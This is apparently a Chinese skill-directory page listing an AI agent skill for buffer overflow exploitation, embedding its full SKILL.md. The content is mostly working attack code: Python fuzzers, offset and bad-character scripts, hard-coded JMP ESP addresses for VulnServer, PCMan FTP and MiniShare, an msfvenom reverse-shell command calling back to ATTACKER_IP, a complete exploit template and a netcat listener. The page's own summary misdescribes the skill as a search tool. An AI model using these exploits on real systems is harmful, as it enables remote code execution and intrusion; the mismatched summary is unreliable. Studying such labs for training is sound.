Token导航 LogoToken导航TokenDH.com
研究检索执行命令github未标认证来源可访问许可证需确认审计异常

buffer-overflow-exploitation缓冲区溢出利用

Agent Skill

buffer-overflow-exploitation 用于查找、检索和筛选相关信息,适合在 Codex、Claude、Cursor、Gemini CLI 中需要根据关键词、任务场景或来源线索快速定位候选结果时使用。可结合来源仓库、安装命令和原始 README 继续核验具体用法。安装前建议确认权限范围、维护状态,以及是否会触发联网、命令执行或文件读写。

总安装

32,477

周安装

831

GitHub Stars

28

下载量

6,715
CodexClaudeCursorGemini CLI

安装说明

本站只整理中文说明和来源信息,不托管安装包,也不代用户安装。

GitHub

来源数

2

许可证

unknown

最后核验

2026-05-01

来源状态

来源可访问

安装方式

通过对话安装

复制提示词发给支持本地命令或 Skills 的 AI 助手,先确认命令和权限,再让它执行。

请帮我安装这个 Agent Skill:buffer-overflow-exploitation(缓冲区溢出利用)
来源仓库:https://github.com/zebbern/secops-cli-guides
仓库路径:skills/buffer-overflow-exploitation
安装命令:
npx skills add https://github.com/zebbern/secops-cli-guides --skill 'Buffer Overflow Exploitation'
安装前请先检查当前环境是否支持对应 CLI,并向我确认将要执行的命令、安装目录、联网范围和文件读写权限;确认后再执行。

命令行安装

复制命令到本机终端执行。该命令会通过 npx skills 从第三方来源获取 Skill;本站只展示命令,不托管安装包,也不自动执行。

skills.shnpx skills
npx skills add https://github.com/zebbern/secops-cli-guides --skill 'Buffer Overflow Exploitation'

简介

用于查找、检索和筛选相关信息,支持基于关键词或任务场景快速定位候选结果。

  • 适合在需要从多源数据中获取模式识别和实现参考时使用。
  • 可通过 WebFetch 获取 Charm 生态的示例 README 和源代码。
  • 安装前建议确认权限范围和维护状态,避免触发不必要的联网或文件操作。
  • 适用于 Codex、Claude、Cursor、Gemini CLI 等宿主环境。

SKILL.md

Buffer Overflow Exploitation

Purpose

Execute systematic buffer overflow vulnerability discovery and exploitation against Windows applications to achieve remote code execution. This skill enables comprehensive fuzzing to identify crashes, determination of EIP offset, bad character identification, JMP ESP location discovery, shellcode generation, and final exploit construction for penetration testing and OSCP-style assessments.

Inputs / Prerequisites

Required Tools

  • Immunity Debugger with Mona.py plugin installed
  • Python 2.7 for exploit script development
  • Metasploit Framework (msfvenom, pattern_create, pattern_offset)
  • Netcat for reverse shell listener
  • Target Windows application with known vulnerability

Environment Setup

  • Windows VM with vulnerable application
  • Kali Linux or attacker machine
  • Network connectivity between machines
  • Mona.py copied to C:\Program Files\Immunity Inc\Immunity Debugger\PyCommands

Knowledge Requirements

  • Understanding of x86 assembly and memory layout
  • Familiarity with stack structure (ESP, EIP, EBP)
  • Basic Python socket programming
  • Understanding of shellcode encoding

Outputs / Deliverables

Primary Outputs

  • Working exploit achieving remote code execution
  • Reverse shell on target system
  • Documented exploitation process
  • Exploit template for similar vulnerabilities

Evidence Artifacts

  • Crash offset documentation
  • Bad character list
  • JMP ESP address with module info
  • Complete exploit script

Core Workflow

Phase 1: Fuzzing the Application

Create Fuzzing Script

Systematically send increasing buffer sizes to identify crash point:

#!/usr/bin/python
import socket
from time import sleep

length = 100

while True:
    try:
        print "Fuzzing with %d bytes" % length
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect(('TARGET_IP', TARGET_PORT))
        s.recv(1024)
        s.send('COMMAND ' + 'A' * length + '\r\n')
        s.recv(1024)
        s.close()
        sleep(1)
        length += 100
    except:
        print "Crashed at %d bytes" % length
        exit()

Monitor in Immunity Debugger

  1. Attach Immunity Debugger to target process
  2. Press F9 to run the application
  3. Run fuzzer and note crash byte count
  4. Observe EIP value (should show 41414141 for 'AAAA')

Phase 2: Finding EIP Offset

Generate Unique Pattern

Create a non-repeating pattern to identify exact offset:

# Using Metasploit
msf-pattern_create -l 2100

# Using Mona in Immunity
!mona pattern_create 2100

Pattern saved to: C:\Program Files\Immunity Inc\Immunity Debugger\pattern.txt

Send Pattern to Application

#!/usr/bin/python
import socket

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('TARGET_IP', TARGET_PORT))

pattern = "Aa0Aa1Aa2Aa3..."  # Full pattern from pattern_create

s.recv(1024)
s.send('COMMAND ' + pattern + '\r\n')
s.recv(1024)
s.close()

Determine Offset

After crash, note EIP value from Immunity Debugger:

# Using Metasploit
msf-pattern_offset -q 396F4338

# Using Mona
!mona pattern_offset 396F4338

Result: Exact position found (e.g., offset 2006)

Verify Offset Control

#!/usr/bin/python
import socket

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('TARGET_IP', TARGET_PORT))

offset = 2006
buffer = 'A' * offset + 'B' * 4 + 'C' * 400

s.recv(1024)
s.send('COMMAND ' + buffer + '\r\n')
s.recv(1024)
s.close()

Verify EIP shows 42424242 (BBBB) confirming offset control.

Phase 3: Bad Character Identification

Generate Bad Character Array

Create complete byte array for testing:

!mona bytearray

Output saved to: C:\Program Files\Immunity Inc\Immunity Debugger\bytearray.txt

Standard Bad Character Array

badchars = (
    "\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f"
    "\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f"
    "\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f"
    "\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f"
    "\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f"
    "\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f"
    "\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f"
    "\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f"
    "\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f"
    "\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f"
    "\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf"
    "\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf"
    "\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf"
    "\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf"
    "\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef"
    "\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
)

Send Bad Characters

#!/usr/bin/python
import socket

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('TARGET_IP', TARGET_PORT))

offset = 2006
buffer = 'A' * offset + 'B' * 4 + badchars

s.recv(1024)
s.send('COMMAND ' + buffer + '\r\n')
s.recv(1024)
s.close()

Analyze in Immunity

  1. Right-click ESP register → Follow in Dump
  2. Examine hex dump for truncated or corrupted sequences
  3. Note character before corruption as bad character

Automated Bad Character Detection

# Compare memory with expected bytearray
!mona compare -f C:\Program Files\Immunity Inc\Immunity Debugger\bytearray.bin -a ESP_ADDRESS

# Generate new bytearray excluding known bad chars
!mona bytearray -cpb "\x00\x0a\x0d"

Common Bad Characters

CharacterHexDescription
NULL\x00String terminator
LF\x0aLine feed
CR\x0dCarriage return
Space\x20Whitespace delimiter

Phase 4: Finding JMP ESP

Search for JMP ESP Instruction

Locate a reliable return address to redirect execution:

# Find JMP ESP in loaded modules
!mona jmp -r esp

# Search specific module (without ASLR)
!mona find -s "\xff\xe4" -m essfunc.dll

# List modules to find suitable candidates
!mona modules

Module Selection Criteria

Choose modules with these protections DISABLED:

  • ASLR: False
  • Rebase: False
  • SafeSEH: False
  • NXCompat: False

Manual JMP ESP Search

Using nasm_shell to get opcode:

/usr/share/metasploit-framework/tools/exploit/nasm_shell.rb
nasm > JMP ESP
00000000  FFE4              jmp esp

Search in Immunity: !mona find -s "\xff\xe4" -m MODULE.dll

Convert Address to Little Endian

Found address: 0x625011AF Little endian format: \xAF\x11\x50\x62

Using struct.pack:

import struct
jmpesp = struct.pack("<I", 0x625011AF)

Phase 5: Shellcode Generation

Generate Reverse Shell Payload

msfvenom -p windows/shell_reverse_tcp \
    LHOST=ATTACKER_IP \
    LPORT=4444 \
    EXITFUNC=thread \
    -b "\x00\x0a\x0d" \
    -e x86/shikata_ga_nai \
    -f python \
    -v shellcode

Parameters Explained

ParameterPurpose
-pPayload type
LHOSTAttacker IP for callback
LPORTAttacker listening port
EXITFUNC=threadClean exit without crashing
-bBad characters to avoid
-eEncoder for obfuscation
-f pythonOutput format
-v shellcodeVariable name

Phase 6: Final Exploit Construction

Complete Exploit Template

#!/usr/bin/python
import socket
import struct
import sys

if len(sys.argv) < 2:
    print "\nUsage: " + sys.argv[0] + " <TARGET_IP>\n"
    sys.exit()

# Configuration
target_ip = sys.argv[1]
target_port = 9999
offset = 2006

# JMP ESP address (little endian)
jmpesp = struct.pack("<I", 0x625011AF)

# NOP sled for decoder space
nops = "\x90" * 20

# Shellcode (msfvenom output)
shellcode = (
    "\xba\xbd\x3a\xaf\xba\xd9\xf7\xd9\x74\x24\xf4"
    "\x5e\x31\xc9\xb1\x52\x31\x56\x12\x03\x56\x12"
    # ... rest of shellcode
)

# Build buffer
buffer = "A" * offset
buffer += jmpesp
buffer += nops
buffer += shellcode

# Send exploit
try:
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((target_ip, target_port))
    s.recv(1024)
    s.send('TRUN .' + buffer + '\r\n')
    s.recv(1024)
    s.close()
    print "[+] Exploit sent successfully"
except:
    print "[-] Connection failed"

Execute Exploit

# Start listener on attacker
nc -lvnp 4444

# Run exploit
python2 exploit.py TARGET_IP

# Receive shell connection

Quick Reference

Mona Commands Cheatsheet

CommandPurpose
!mona pattern_create LENGTHCreate unique pattern
!mona pattern_offset EIPFind offset position
!mona bytearrayGenerate byte array
!mona bytearray -cpb "\x00"Exclude bad chars
!mona compare -f FILE -a ADDRCompare memory
!mona jmp -r espFind JMP ESP
!mona modulesList loaded modules
!mona find -s BYTES -m MODULESearch in module

Exploitation Workflow Summary

1. Fuzz → Find crash point
2. Pattern → Determine EIP offset
3. Verify → Control EIP with known value
4. Badchars → Identify restricted bytes
5. JMP ESP → Find return address
6. Shellcode → Generate payload
7. Exploit → Combine and execute

Buffer Structure

[PADDING][EIP][NOP SLED][SHELLCODE]
   |       |      |         |
   A*N   JMP ESP  \x90*20  msfvenom output

Common Offsets Reference

ApplicationCommandOffset
VulnServer TRUNTRUN.2006
MiniShare 1.4.1GET1787
PCMan FTP PORTPORT2006
FreeFloat FTP USERUSER230

Constraints and Guardrails

Operational Boundaries

  • Test only against authorized systems and applications
  • Use isolated lab environments for exploit development
  • Document all testing activities and findings
  • Avoid testing against production systems

Technical Limitations

  • DEP (Data Execution Prevention) prevents stack execution
  • ASLR randomizes module addresses each reboot
  • Stack canaries detect buffer overflows
  • SafeSEH restricts exception handler exploitation

Bypass Considerations

  • DEP Bypass: ROP chains, ret2libc techniques
  • ASLR Bypass: Information leaks, fixed modules
  • Canary Bypass: Format string bugs, heap overflow

Examples

Example 1: VulnServer TRUN Exploitation

Fuzzing Result: Crash at ~2100 bytes EIP Offset: 2006 bytes Bad Characters: \x00 only JMP ESP: 0x625011AF (essfunc.dll)

Exploit:

buffer = "A" * 2006
buffer += "\xAF\x11\x50\x62"  # JMP ESP
buffer += "\x90" * 20         # NOP sled
buffer += shellcode           # Reverse shell

Example 2: PCMan FTP PORT Command

Fuzzing Result: Crash at ~2100 bytes EIP Offset: 2006 bytes Bad Characters: \x00\x0a\x0d JMP ESP: 0x75E2798D (SHELL32.dll)

Exploit Structure:

s.send("USER Anonymous\r\n")
s.recv(1024)
s.send("PASS pass\r\n")
s.recv(1024)
s.send("PORT " + buffer + "\r\n")

Example 3: MiniShare 1.4.1 HTTP GET

Fuzzing Result: Crash at ~1800 bytes EIP Offset: 1787 bytes Bad Characters: \x00\x0d JMP ESP: 0x7E6B30D7 (SHELL32.dll)

Buffer Format:

metodo_http = "GET "
buffer = "A" * 1787 + jmpesp + nops + shellcode
cabecera_http = " HTTP/1.1\r\n\r\n"
payload = metodo_http + buffer + cabecera_http

Troubleshooting

Exploit Crashes Application But No Shell

  • Verify shellcode bad characters are excluded
  • Increase NOP sled size for decoder space
  • Check LHOST/LPORT in shellcode match listener
  • Ensure EXITFUNC=thread for stable exit

EIP Not Overwritten as Expected

  • Verify offset calculation is correct
  • Check for additional bad characters affecting padding
  • Ensure complete pattern reaches EIP position

JMP ESP Address Causes Crash

  • Verify module has ASLR disabled
  • Check address doesn't contain bad characters
  • Confirm address valid after application restart

Shellcode Not Executing

  • DEP may be enabled - check module protections
  • NOP sled too short for decoder
  • Bad characters corrupting shellcode
  • Try different encoder or manual encoding

Application Crashes Before Shell

  • EXITFUNC incorrect - try thread, process, or seh
  • Shellcode size exceeds available buffer space
  • Stack alignment issues - add stack adjustment

适合场景

01

用户想查找某类 Agent Skill 时

02

需要根据任务场景推荐可安装能力包时

03

需要对比不同来源的安装命令和来源信息时

能力概览

能力 1

按任务关键词查找相关 Skills

能力 2

展示可复制的安装命令

能力 3

保留来源站点、仓库和原始说明,方便继续核验

能力 4

展示第三方安全扫描或审计结果

安装后应在对应宿主中按原始 README 的触发条件使用;具体调用方式请以来源页面和 README 为准。

平台分布

Codex

34.43%
按下载量换算2,312

Claude

32.19%
按下载量换算2,162

Cursor

17.29%
按下载量换算1,161

Gemini CLI

10.19%
按下载量换算684

安全审计

Gen Agent Trust Hub

未通过

Socket

通过

Snyk

未通过

权限和风险

执行命令

安装流程涉及命令执行,可能通过 npx skills add https://github.com/zebbern/secops-cli-guides --skill 'Buffer Overflow Exploitation' 联网下载 Skill 或依赖。用户安装前应确认命令来源、仓库内容和执行环境。

安装前确认

本站仅展示第三方公开信息,不托管安装包,不提供自动安装或运行环境。安装前应自行审查源码、依赖和命令行为。来源安全扫描存在 warning/failed 结果,不能写成本站确认安全。当前只有一个来源,正式发布前建议补源仓库或其他目录站核验。

来源信息

继续浏览同类 Skills